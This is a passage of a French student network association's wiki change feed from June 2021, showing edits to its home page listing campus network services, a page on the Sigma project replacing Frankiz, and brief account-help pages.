		<id>https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8818</id>
		<title>Sigma</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8818"/>
		<updated>2021-06-30T14:47:50Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Projet d'envergure de développement interne BR, vis à remplacer frankiz et à introduire quelques nouvelles fonctionnalités.&lt;br /&gt;
&lt;br /&gt;
Voir [https://wikix.polytechnique.org/Projet_Sigma le WikiX] pour plus d'informations.&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=8817</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=8817"/>
		<updated>2021-06-30T14:45:54Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC____NOEDITSECTION__&lt;br /&gt;
=== Bienvenue sur le site du BR ! ===&lt;br /&gt;
&lt;br /&gt;
Le Binet Réseau est l'association d'étudiants de l'[http://www.polytechnique.fr École polytechnique] qui s'occupent du réseau élève : maintenance des serveurs, mise en place de nouveaux services et développement (applications réseau et sites).&lt;br /&gt;
 &lt;br /&gt;
L'InfoBR est disponible [http://wikibr.binets.fr/files/InfoBR_2016.pdf ici] pour sa version 2016 [http://wikibr.binets.fr/files/InfoBR_2k15.pdf là] pour la version 2015, [http://wikibr.binets.fr/files/InfoBR_2k14.pdf par ici] pour la version 2014, [http://wikibr.binets.fr/files/InfoBR_2k13.pdf par là] pour la version 2013, [http://wikibr.binets.fr/files/InfoBR_2k12_final.pdf encore ici] pour la version 2012, et [https://ik.frankiz.net/pdfs/ik/InfoBR.pdf enfin là] pour la version 2011.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;float: left; width: 46%; margin: 0 1% 0 0;&amp;quot;&amp;gt;&lt;br /&gt;
=Les ressources en ligne=&lt;br /&gt;
==Nos services==&lt;br /&gt;
* [[DNS|DNS des élèves]]&lt;br /&gt;
* [[Apple_on_Campus|Apple on Campus]]&lt;br /&gt;
* [[Titus|Titus, le chat promo]]&lt;br /&gt;
* [[Serveur IRC|IRC sur le platal]]&lt;br /&gt;
* [[LDAP|L'annuaire LDAP (complétion automatique des adresses mail)]]&lt;br /&gt;
* [[Chocapix|Chocapix, le site des bars d'etage]]&lt;br /&gt;
* [[Sigma|Sigma]] (nouveau [[Guide Frankiz|Frankiz]])&lt;br /&gt;
* [[Platalpad|L'édition collaborative de documents avec PlatalPad]]&lt;br /&gt;
* [[Hébergement_des_sites_des_binets|Hébergement des sites pour les binets]]&lt;br /&gt;
==Utilisation de nos services==&lt;br /&gt;
* [http://infobr.eleves.polytechnique.fr Configurer sa connexion à internet]&lt;br /&gt;
* [[Diagnostic réseau|Diagnostiquer seul une panne du réseau]]&lt;br /&gt;
* [[Routeurs_Wi-Fi|Configurer son routeur wifi]]&lt;br /&gt;
* [[Comptes Sigma|Demander la création d'un compte Sigma]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;float: right; width: 46%; margin: 0 1%;-moz-box-shadow: 1px 1px 12px #AAA; -webkit-box-shadow: 1px 1px 12px #AAA; padding: 1em; margin-top: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
===Le BR recrute===&lt;br /&gt;
Les membres du Binet Réseau ne sont pas pour autant tous des férus d'informatique et se partagent les taches en fonction de leurs capacités et de leurs envies : relations avec nos partenaires, communication avec les élèves constituent aussi des postes essentiels.&lt;br /&gt;
&lt;br /&gt;
Ainsi, le Binet Réseau offre une chance unique d'approfondir ses connaissances en informatique, au service des autres et en se faisant plaisir.&lt;br /&gt;
----&lt;br /&gt;
=== Deviens un membre actif du BR ! ===&lt;br /&gt;
À n'importe quelle époque de l'année, viens nous voir et nous t'accueillerons à bras ouverts. Il y a toujours des choses à faire pour améliorer les services ou faire de nouveaux services.&lt;br /&gt;
&lt;br /&gt;
==Fiches techniques==&lt;br /&gt;
* [[Recuperation de donnees perdues|Comment récupérer mes données que j'ai effacées sur mon disque dur ?]]&lt;br /&gt;
* [[Sauvegarde (ordinateur)|Comment faire une sauvegarde complète de mon système Windows ?]]&lt;br /&gt;
* [[Git|Comment utiliser Git ? (Pour les projets en équipe)]]&lt;br /&gt;
* [[Astuces_ssh|Utiliser la protection ssh]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear:both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=N'hésite pas à nous contacter=&lt;br /&gt;
{| class=&amp;quot;tableau-support&amp;quot;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Par mail|support mail|Edit.png}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Au téléphone|support téléphone|Phone.png}} {{block|En vrai|support vrai|People.png}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Sur IRC|support irc|Serveur.png}}&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Comptes_Sigma&amp;diff=8816</id>
		<title>Comptes Sigma</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Comptes_Sigma&amp;diff=8816"/>
		<updated>2021-06-30T14:32:54Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Pour créer votre mot de passe la première fois cliquez sur &amp;quot;Mot de passe oublié&amp;quot; sur la page de connexion.&lt;br /&gt;
En cas de souci, vous pouvez créer un ticket sur [https://panix.binets.fr PaniX].&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=8815</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=8815"/>
		<updated>2021-06-30T14:26:06Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC____NOEDITSECTION__&lt;br /&gt;
=== Bienvenue sur le site du BR ! ===&lt;br /&gt;
&lt;br /&gt;
Le Binet Réseau est l'association d'étudiants de l'[http://www.polytechnique.fr École polytechnique] qui s'occupent du réseau élève : maintenance des serveurs, mise en place de nouveaux services et développement (applications réseau et sites).&lt;br /&gt;
 &lt;br /&gt;
L'InfoBR est disponible [http://wikibr.binets.fr/files/InfoBR_2016.pdf ici] pour sa version 2016 [http://wikibr.binets.fr/files/InfoBR_2k15.pdf là] pour la version 2015, [http://wikibr.binets.fr/files/InfoBR_2k14.pdf par ici] pour la version 2014, [http://wikibr.binets.fr/files/InfoBR_2k13.pdf par là] pour la version 2013, [http://wikibr.binets.fr/files/InfoBR_2k12_final.pdf encore ici] pour la version 2012, et [https://ik.frankiz.net/pdfs/ik/InfoBR.pdf enfin là] pour la version 2011.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;float: left; width: 46%; margin: 0 1% 0 0;&amp;quot;&amp;gt;&lt;br /&gt;
=Les ressources en ligne=&lt;br /&gt;
==Nos services==&lt;br /&gt;
* [[DNS|DNS des élèves]]&lt;br /&gt;
* [[Apple_on_Campus|Apple on Campus]]&lt;br /&gt;
* [[Titus|Titus, le chat promo]]&lt;br /&gt;
* [[Serveur IRC|IRC sur le platal]]&lt;br /&gt;
* [[LDAP|L'annuaire LDAP (complétion automatique des adresses mail)]]&lt;br /&gt;
* [[Chocapix|Chocapix, le site des bars d'etage]]&lt;br /&gt;
* [[Guide Frankiz|Frankiz]]&lt;br /&gt;
* [[Platalpad|L'édition collaborative de documents avec PlatalPad]]&lt;br /&gt;
* [[Hébergement_des_sites_des_binets|Hébergement des sites pour les binets]]&lt;br /&gt;
==Utilisation de nos services==&lt;br /&gt;
* [http://infobr.eleves.polytechnique.fr Configurer sa connexion à internet]&lt;br /&gt;
* [[Diagnostic réseau|Diagnostiquer seul une panne du réseau]]&lt;br /&gt;
* [[Routeurs_Wi-Fi|Configurer son routeur wifi]]&lt;br /&gt;
* [[Comptes Sigma|Demander la création d'un compte Sigma]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;float: right; width: 46%; margin: 0 1%;-moz-box-shadow: 1px 1px 12px #AAA; -webkit-box-shadow: 1px 1px 12px #AAA; padding: 1em; margin-top: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
===Le BR recrute===&lt;br /&gt;
Les membres du Binet Réseau ne sont pas pour autant tous des férus d'informatique et se partagent les taches en fonction de leurs capacités et de leurs envies : relations avec nos partenaires, communication avec les élèves constituent aussi des postes essentiels.&lt;br /&gt;
&lt;br /&gt;
Ainsi, le Binet Réseau offre une chance unique d'approfondir ses connaissances en informatique, au service des autres et en se faisant plaisir.&lt;br /&gt;
----&lt;br /&gt;
=== Deviens un membre actif du BR ! ===&lt;br /&gt;
À n'importe quelle époque de l'année, viens nous voir et nous t'accueillerons à bras ouverts. Il y a toujours des choses à faire pour améliorer les services ou faire de nouveaux services.&lt;br /&gt;
&lt;br /&gt;
==Fiches techniques==&lt;br /&gt;
* [[Recuperation de donnees perdues|Comment récupérer mes données que j'ai effacées sur mon disque dur ?]]&lt;br /&gt;
* [[Sauvegarde (ordinateur)|Comment faire une sauvegarde complète de mon système Windows ?]]&lt;br /&gt;
* [[Git|Comment utiliser Git ? (Pour les projets en équipe)]]&lt;br /&gt;
* [[Astuces_ssh|Utiliser la protection ssh]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear:both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=N'hésite pas à nous contacter=&lt;br /&gt;
{| class=&amp;quot;tableau-support&amp;quot;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Par mail|support mail|Edit.png}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Au téléphone|support téléphone|Phone.png}} {{block|En vrai|support vrai|People.png}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Sur IRC|support irc|Serveur.png}}&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Comptes_Frankiz&amp;diff=8814</id>
		<title>Comptes Frankiz</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Comptes_Frankiz&amp;diff=8814"/>
		<updated>2021-06-30T09:57:32Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Jean-samuel.tettekpoe a déplacé la page Comptes Frankiz vers Comptes Sigma : Actualisation&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECTION [[Comptes Sigma]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Comptes_Sigma&amp;diff=8813</id>
		<title>Comptes Sigma</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Comptes_Sigma&amp;diff=8813"/>
		<updated>2021-06-30T09:57:32Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Jean-samuel.tettekpoe a déplacé la page Comptes Frankiz vers Comptes Sigma : Actualisation&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Contacter [mailto:web@eleves.polytechnique.fr web@eleves.polytechnique.fr] pour tout question, ou problème sur votre compte.&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
</feed>